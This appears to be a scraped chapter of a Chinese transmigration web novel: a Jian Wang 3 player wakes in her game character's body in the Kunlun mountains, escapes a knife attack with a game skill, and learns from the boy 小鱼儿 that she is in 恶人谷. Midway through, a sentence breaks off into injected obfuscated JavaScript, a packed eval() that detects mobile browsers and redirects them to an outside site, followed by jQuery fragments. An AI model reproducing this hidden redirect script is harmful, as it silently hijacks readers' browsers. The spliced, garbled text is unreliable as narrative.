“喂!”
“醒醒!”
“快醒醒——”
“这里可不是你睡觉的地方!”
岑意真被一阵阵的声音吵醒,却还觉眼皮发沉。
她迷迷糊糊地摆了摆手,一句“别吵”脱口而出。
耳边的声音戛然而止。
可还没等恢复安静多久,那个声音又响了起来,“我说,醒醒……”
声音的语气依然轻快,就是比之前多出了几分被人无视的恼怒,“你在这里睡觉,是不是也太……”
岑意真也被惹火了,驱赶着耳边的苍蝇:“太什么太啊,攻防凝视就凝视,请出图就请出图,差点打成黑cd,喊着自在逍遥也没激情,能怪我睡着吗?”
打个游戏而已。
撑死也就是被指挥点名了,能掉层皮是怎么!
虽然一边骂一边玩,但这话说出去她一点也不心虚,玩了十年的老游戏,有些话该说就说。阵营平衡做得没眼看,打攻防热情远不如从前,睡一觉不行吗?
年轻人倒头就睡还是身体好呢。
可就是在这句话出口的刹那,她忽然感觉到,自己的眼前冷风直逼而来,还隐隐带来一种迫向眼帘的尖锐刺痛。
岑意真猛地睁开了眼睛。
也就是这一睁眼,让她倒抽了一口冷气。
嘶——
电光石火之间,她甚至来不及分辨,为什么自己原本坐在电脑前,头顶是租房单间不太明亮的灯光,只是在周末的空闲时间打个游戏、阵营对冲而已,现在,竟然会突然来到了“野外”,身处一片黢黑群山之间。
她看到的只有眼前!
一点青灯磷火,照亮了一把出鞘的匕首,直扑她的面前。
匕首发青的冷光,指向的正是她的左眼,来势汹汹。
躲开,当然得躲开!
那浑不似一把用于恶作剧的利刃,根本没因她睁开了眼睛而停下来,而是依然不改来势地戳刺了下来。
不知是不是错觉,匕首带起的风中,还裹挟着一种陈年未净的血气。
不必多说,这是一把见过血的匕首。
搞什么啊!!!
按说面对这样的危险,最好的应对办法,莫过于就地打滚,避开那匕首的攻势,可岑意真虽然没到走两步路就喘的地步,也绝对可以算是四体不勤。
在意识到自己应该躲的同时,她身体的反应完全没跟上,充分诠释了什么叫做,打滚也是一种技巧。
“……”岑意真瞪大了眼睛。
完了,我命休矣!
若非此刻夜黑风高,唯有凄迷的山中迷雾里,数点青灯嵌于避风的山石之间,仅有“鬼火”相照,只怕手执匕首的少年人已能看到,面前那奇装异服的神秘人在顷刻间面色煞白,手脚发麻,对这突如其来的意外完全乱了阵脚。
可不知道是不是意外之前还在打游戏的影响,岑意真又在此刻生出了一种近乎本能的反应。
被……被偷袭近身了怎么办,拉开距离就好了。
而她平时玩得最多的万花,最专业的技能就是——
太阴指!
一个,专业后撤的门派轻功技能。
……
“咦?”少年发出了一道疑惑的声音。
他从小长大的地方甚少有外人出入,按照谷中人的说法,这里位处昆仑山区,谁闲得没事跑到这破地方来,也正因如此,这里变成了对一批不为武林所容之人的庇护场所。
有人跋涉千里来到此地,却因精疲力尽倒下,并不算奇怪。
直到被他的匕首往脸上招呼才醒来,也还说得通。
但奇怪的,是眼前之人的反应。
她先是说了一堆让人听不明白的话,在睁开眼的一瞬间,又好像是睡糊涂了,根本没弄清楚自己在什么地方,一点也不像是前来投奔此地的刀口舔血之人,面对杀招,既不抬手还击,也没发出什么惊呼,仿佛是练就了什么铜皮铁骨的工夫。
然而就在匕首即将切入她的头颅,挖出左眼的时候,她忽然迅速地自腰间拔出了一把雪白的笛子。
这笛子,竟不是用来招架还击的。
少年惊见,当玉白长笛在手,那青年女子周身的气势猛然一变,足下一点,便已退出了数丈,快得有些不可思议。
他当即要追,却觉脚下像是拖拽了什么重物,竟是半步也走不动。
晦暗的光影中,脚底一圈若隐若现的赤色光圈,仿佛正是那画地为牢的限制。
少年的面上不见慌乱,只是抬眼看向了前方。
若他是眼前之人,此刻便是对偷袭之人最好的动手教训时间,以示惩戒。
偏偏,对方没有。
她只是在退出了数丈后,将那杆刚刚抽出的长笛在手上转了个圈,随后一手执笛中段,一手抵住了尾端,横于身前,端的是一派文人墨客的优雅姿态。
只是与这鬼火阴山,着实格格不入!
少年跺了跺脚,意识到脚下光圈消失之时,他已恢复了行动自如,脸上便也旋即挂上了顽皮的笑容,扬声问道:“你这是什么招式?”
好新鲜的招式!
有趣,太有趣了!能来此地的,果然有两把刷子。
这是等闲之时无人入谷,一来,便来了个厉害人物。
岑意真沉默了片刻,强行克制住了自己想要再把笛子转个圈的冲动,没有回答面前少年的问题,而是冷声反问道:“既是你先动手的,为何还能由你先问?”
少年耸了耸肩:“行啊,你先问也成。”
他一边说,一边将手中的匕首收回了腰间。
两方都停下了动作,也就让岑意真终于看清楚了对方的样貌。
古装。
暂时分不清朝代,但确实是古装!
那是个身着粗麻布衣,发也未梳,披散在肩的少年,看年纪约莫十五岁上下,但虽是这小小年纪,已在散开的衣襟处,若隐若现着数道伤疤。可奇怪的是,倘若看向他脸的话,第一眼瞧见的,绝不是一道从眼角斜拉到嘴角的刀疤,而是他才见到了超乎寻常之事依然从容的笑容。
少年收起了匕首,宛如一只刚刚收起利爪的大猫,像是对岑意真的停顿大觉不满:“怎么,不是要问吗?还愣着做什么。难道是这里和你想象中的大不相同,所以——不知道该从何问起?”
不,不是的。
他又怎会知道,岑意真此刻的沉默,绝不是因为什么所见与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322486|183144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想象不同!
要不是岑意真还记得自己面前有人,她早已被那惊涛骇浪一般的情绪攥紧了心脏,连表情都要当场扭曲了。
见鬼,真的是见鬼了!
她现在绝对不在做梦,无论是脚下的石头砂砾,还是扑面的夜风,都触感真实得可怕,面前少年人的脸,也清晰真切得不似梦境中所有。
那就只有一个解释了。她穿越了!
还不是一般的穿越。
她直到现在,方才借着看向手中长笛的空当,看向了自己的衣着,黑、紫、白三色的衣着,完全取代了她居家时为图方便的睡衣,分明……分明就是她游戏里的角色所穿。
是她玩的剑网三游戏里青岩万花谷上赛季的鸿辉套校服。
完全对应了她手中的武器,也就是那把雪凤冰王笛。
也对应了她用于后撤,并且锁足敌方的太阴指。
这不能不让她做出一个大胆的猜测,她不仅穿越了,还是带着游戏里的角色和技能穿越的!
偏偏她此刻不知自己身在何处,面前还有一个笑里藏刀的少年人,让她根本无法放松戒备,彻底研究清楚,她自己本身究竟是个什么情况。
真见鬼了,人倒霉起来,出了奇遇buff也没法出奇遇,反而莫名其妙地来了个危险地方。
岑意真无声地深吸了一口气。
唯有指尖冰凉的触感,和丹田处一口细弱的热力,让她勉强保持住了表面上的冷静,明白必须先把面前这个少年敷衍过去。
“并非不知从何问起,只是有些好奇此地的待客之道。”
少年顿时笑了:“待客之道?若要论资排辈,我当然算不上,在江湖上也没什么名气,但你若进了我们恶人谷,随便抓个人问问,都知道我这小魔星是个什么地位。”
他一边说,一边颇为骄傲地拍了拍胸脯,“当然,也不是什么人,随便犯了点错,都能入我谷中的!”
恶人谷?
骤然听闻这三个字,饶是岑意真极力压制,也很难彻底掩饰住她眼神的一瞬发亮。
穿越到一个相对熟悉的地方,总是要比来到一个完全不了解的地方好得多吧!起码,她还可以利用自己知道的东西,缓解当下的危机。
恶人谷她熟啊。
她的游戏角色在刚满级时,就毫不犹豫地从浩气盟与恶人谷两大阵营里,选择了听起来更为酷炫的恶人谷,而且再也没有转换过阵营。
若真是穿到了剑三世界,来到了恶人谷,那就一点也不奇怪,她还能保持着自己的游戏角色,有着万花谷的技能。
这一刻的惊喜,让岑意真忽略掉了依然存在的违和感,比如眼前这少年的长相特征仿佛曾在什么地方看到过,比如倘若这里真是她所认为的地方,那少年根本不该说出一句你用的什么招式。
她开口答道:“看来我没找错地方。这里就是一入此谷,永不受苦的恶人谷?”
少年,或者说是这自称恶人谷小魔星的“小鱼儿”歪了歪头:“你这说法有些陌生,但你刚才入谷之时,应该在第一盏青灯之下,见到一方石碑了。石碑上写着八个字,入谷入谷,永不为奴。”
“——这里,就是传说中的昆仑山,恶人谷!”